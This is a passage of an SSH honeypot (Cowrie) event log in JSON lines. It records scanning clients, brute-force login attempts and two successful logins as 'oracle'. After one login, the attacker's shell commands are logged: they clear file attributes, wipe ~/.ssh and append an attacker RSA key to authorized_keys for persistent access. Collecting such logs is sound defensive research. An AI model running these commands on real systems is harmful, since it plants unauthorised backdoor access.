{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:32.941549Z","src_ip":"79.116.23.158","session":"6a2204224f92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:33.048378Z","src_ip":"79.116.23.158","session":"6a2204224f92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123!@","message":"login attempt [root/admin123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:33.492089Z","src_ip":"79.116.23.158","session":"6a2204224f92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:34.600250Z","src_ip":"79.116.23.158","session":"6a2204224f92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53758,"dst_ip":"159.203.135.109","dst_port":22,"session":"8788523dcc3b","protocol":"ssh","message":"New connection: 159.203.92.129:53758 (159.203.135.109:22) [session: 8788523dcc3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:55.785174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:55.790430Z","src_ip":"159.203.92.129","session":"8788523dcc3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:55.795178Z","src_ip":"159.203.92.129","session":"8788523dcc3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DataSet","password":"123456","message":"login attempt [DataSet/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:55.809513Z","src_ip":"159.203.92.129","session":"8788523dcc3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:56.816364Z","src_ip":"159.203.92.129","session":"8788523dcc3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":37110,"dst_ip":"10.17.0.5","dst_port":22,"session":"48dc380780b6","protocol":"ssh","message":"New connection: 79.116.23.158:37110 (10.17.0.5:22) [session: 48dc380780b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:25.830911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:25.836545Z","src_ip":"79.116.23.158","session":"48dc380780b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:25.949253Z","src_ip":"79.116.23.158","session":"48dc380780b6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle01","message":"login attempt [oracle/oracle01] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:26.431876Z","src_ip":"79.116.23.158","session":"48dc380780b6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:26.708219Z","src_ip":"79.116.23.158","session":"48dc380780b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:26.711470Z","src_ip":"79.116.23.158","session":"48dc380780b6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:26.715760Z","src_ip":"79.116.23.158","session":"48dc380780b6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:26.832312Z","src_ip":"79.116.23.158","session":"48dc380780b6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:27.101885Z","src_ip":"79.116.23.158","session":"48dc380780b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:27.105471Z","src_ip":"79.116.23.158","session":"48dc380780b6","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:27.222698Z","src_ip":"79.116.23.158","session":"48dc380780b6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:27.227181Z","src_ip":"79.116.23.158","session":"48dc380780b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":37548,"dst_ip":"10.17.0.5","dst_port":22,"session":"19136a90e1e6","protocol":"ssh","message":"New connection: 79.116.23.158:37548 (10.17.0.5:22) [session: 19136a90e1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:27.323871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:27.328373Z","src_ip":"79.116.23.158","session":"19136a90e1e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:27.446627Z","src_ip":"79.116.23.158","session":"19136a90e1e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:27.907135Z","src_ip":"79.116.23.158","session":"19136a90e1e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:29.017417Z","src_ip":"79.116.23.158","session":"19136a90e1e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":38190,"dst_ip":"10.17.0.5","dst_port":22,"session":"d004e4f4ba0a","protocol":"ssh","message":"New connection: 79.116.23.158:38190 (10.17.0.5:22) [session: d004e4f4ba0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:29.128066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:29.132653Z","src_ip":"79.116.23.158","session":"d004e4f4ba0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:29.250270Z","src_ip":"79.116.23.158","session":"d004e4f4ba0a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:29.741288Z","src_ip":"79.116.23.158","session":"d004e4f4ba0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:29.859868Z","src_ip":"79.116.23.158","session":"d004e4f4ba0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:29.865070Z","src_ip":"79.116.23.158","session":"48dc380780b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43370,"dst_ip":"159.203.135.109","dst_port":22,"session":"59cf1e76d208","protocol":"ssh","message":"New connection: 159.203.92.129:43370 (159.203.135.109:22) [session: 59cf1e76d208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:37.584127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:37.671186Z","src_ip":"159.203.92.129","session":"59cf1e76d208","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:37.677393Z","src_ip":"159.203.92.129","session":"59cf1e76d208","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DataSet","password":"DataSet","message":"login attempt [DataSet/DataSet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:37.828786Z","src_ip":"159.203.92.129","session":"59cf1e76d208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:15:38.838648Z","src_ip":"159.203.92.129","session":"59cf1e76d208","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36522,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa3d1e737e15","protocol":"ssh","message":"New connection: 159.203.92.129:36522 (159.203.135.109:22) [session: fa3d1e737e15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:16:19.097399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:16:19.105087Z","src_ip":"159.203.92.129","session":"fa3d1e737e15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@